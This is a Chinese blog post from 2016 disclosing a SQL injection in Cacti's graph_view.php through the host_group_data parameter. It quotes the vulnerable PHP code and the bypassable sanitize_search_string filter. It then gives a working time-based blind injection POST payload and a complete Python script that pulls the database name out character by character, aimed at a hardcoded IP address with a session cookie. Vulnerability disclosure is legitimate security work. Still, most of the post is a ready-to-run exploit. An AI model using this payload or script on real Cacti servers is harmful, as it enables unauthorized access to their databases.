IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Cacti graph_view.php SQL注入漏洞

    没穿底裤发表于 2016-04-08 09:23:10
    love 0

    存在问题的文件/cacti/graph_view.php:

    /* ================= input validation ================= */
    input_validate_input_number(get_request_var_request('branch_id'));
    input_validate_input_number(get_request_var_request('hide'));
    input_validate_input_number(get_request_var_request('tree_id'));
    input_validate_input_number(get_request_var_request('leaf_id'));
    input_validate_input_number(get_request_var_request('rra_id'));
    input_validate_input_regex(get_request_var_request('graph_list'), '^([\,0-9]+)$');
    input_validate_input_regex(get_request_var_request('graph_add'), '^([\,0-9]+)$');
    input_validate_input_regex(get_request_var_request('graph_remove'), '^([\,0-9]+)$');
    input_validate_input_regex(get_request_var_request('nodeid'), '^([_a-z0-9]+)$');
    /* ==================================================== */
    ...
    switch ($_REQUEST['action']) {
    case 'tree_content':
        validate_tree_vars(); // attesion here
    ...
            grow_right_pane_tree((isset($_REQUEST['tree_id']) ? $_REQUEST['tree_id'] : 0), (isset($_REQUEST['leaf_id']) ? $_REQUEST['leaf_id'] : 0), (isset($_REQUEST['host_group_data']) 
            ? urldecode($_REQUEST['host_group_data']) : 0));
    }
    

    这里我们跟下function grow_right_pane_tree函数,存在于/lib/html_tree.php :
    function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data)
    {
    global $current_user, $config, $graphs_per_page, $graph_timeshifts;
    …
    $host_group_data_array = explode(‘:’, $host_group_data);

    if ($host_group_data_array[0] == ‘graph_template’) {
    $host_group_data_name = ‘<strong>Graph Template:</strong> ‘ . db_fetch_cell(‘select name from graph_templates where id=’ . $host_group_data_array[1]); //这里很像是可以产生注入的地方
    $graph_template_id = $host_group_data_array[1];
    }
    …
    }
    这看起来好像是可以产生注入的地方,但是validate_tree_vars()是一个变态的过滤函数

    function validate_tree_vars() {
        /* ================= input validation ================= */
        input_validate_input_number(get_request_var_request('graphs'));
        input_validate_input_number(get_request_var_request('columns'));
        input_validate_input_number(get_request_var_request('page'));
        input_validate_input_number(get_request_var_request('tree_id'));
        input_validate_input_number(get_request_var_request('leaf_id'));
        /* ==================================================== */
    
        /* clean up search string */
        if (isset($_REQUEST['filter'])) {
            $_REQUEST['filter'] = sanitize_search_string(get_request_var_request('filter'));
        }
    
        /* clean up search string */
        if (isset($_REQUEST['thumbnails'])) {
            $_REQUEST['thumbnails'] = sanitize_search_string(get_request_var_request('thumbnails'));
        }
    
        /* clean up host_group_data string */
        if (isset($_REQUEST['host_group_data'])) {
            $_REQUEST['host_group_data'] = sanitize_search_string(get_request_var_request('host_group_data'));

    继续跟踪函数sanitize_search_string,在/lib/functions.php:

    function sanitize_search_string($string) {
        static $drop_char_match = array('^', '$', '<', '>', '`', '\'', '"', '|', ',', '?', '+', '[', ']', '{', '}', '#', ';', '!', '=', '*');
        static $drop_char_replace = array(' ', ' ', ' ', ' ', '', '', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ');
    
        /* Replace line endings by a space */
        $string = preg_replace('/[\n\r]/is', ' ', $string);
    
        /* HTML entities like   */
        $string = preg_replace('/\b&[a-z]+;\b/', ' ', $string);
    
        /* Remove URL's */
        $string = preg_replace('/\b[a-z0-9]+:\/\/[a-z0-9\.\-]+(\/[a-z0-9\?\.%_\-\+=&\/]+)?/', ' ', $string);
    
        /* Filter out strange characters like ^, $, &, change "it's" to "its" */
        for($i = 0; $i < count($drop_char_match); $i++) {
            $string = str_replace($drop_char_match[$i], $drop_char_replace[$i], $string);
        }
    
        return $string;
    }
    

    这貌似过滤的很严格,但是可以利用一些mysql的特性去绕过.让sql注入存活过来
    首先登陆cacti
    然后去请求http://target/cacti/graph_view.php
    POST发送

    Data: ____csrf_magic=sid:b0349195c55bddec2f2be859e0f394539ea4569a,1458781575&host_group_data=graph_template:1 union select case when ord(substring((select version()) from 1 for 1)) between 53 and 53 then sleep(5) else 0 end

    如果mysql成功延时5秒,那么version()第一个是5

    写个poc来验证下

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import httplib
    import time
    import string
    import sys
    import random
    import urllib
    import math
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Cookie':
        'cacti_zoom=zoomMode%3Dquick%2CzoomOutPositioning%3Dcenter%2CzoomOutFactor%3D2%2CzoomMarkers%3Dtrue%2CzoomTimestamps%3Dauto%2Czoom3rdMouseButton%3Dfalse; Cacti=7a3e072f5ab62febf94fbedda5128fd0'
    }
    
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    print 'Starting to retrive MySQL DB:'
    
    db = ''
    user = ''
    
    for i in range(1, 6):
    
        for payload in payloads:
            s = "__csrf_magic=sid:c766dcdb84bc21215af88d112bc9c4f2edc517b4,1458794525&host_group_data=graph_template:1 union select case when ord(substring((select database()) from %s for %s)) between %s and %s then sleep(5) else 0 end" % (
                i, i, ord(payload), ord(payload))
    
            conn = httplib.HTTPConnection('133.130.98.98', timeout=60)
    
            conn.request(method='POST',
                         url='/cacti/graph_view.php?action=tree_content',
                         body=s,
                         headers=headers)
    
            start_time = time.time()
    
            conn.getresponse()
    
            conn.close()
    
            print '.',
    
            if time.time() - start_time > 5.0:
    
                db += payload
    
                print '\n\n[In progress]', db,
    
                break
    
    print '\n\n[Done] Current database is %s ' % (db)

    1



沪ICP备19023445号-2号
友情链接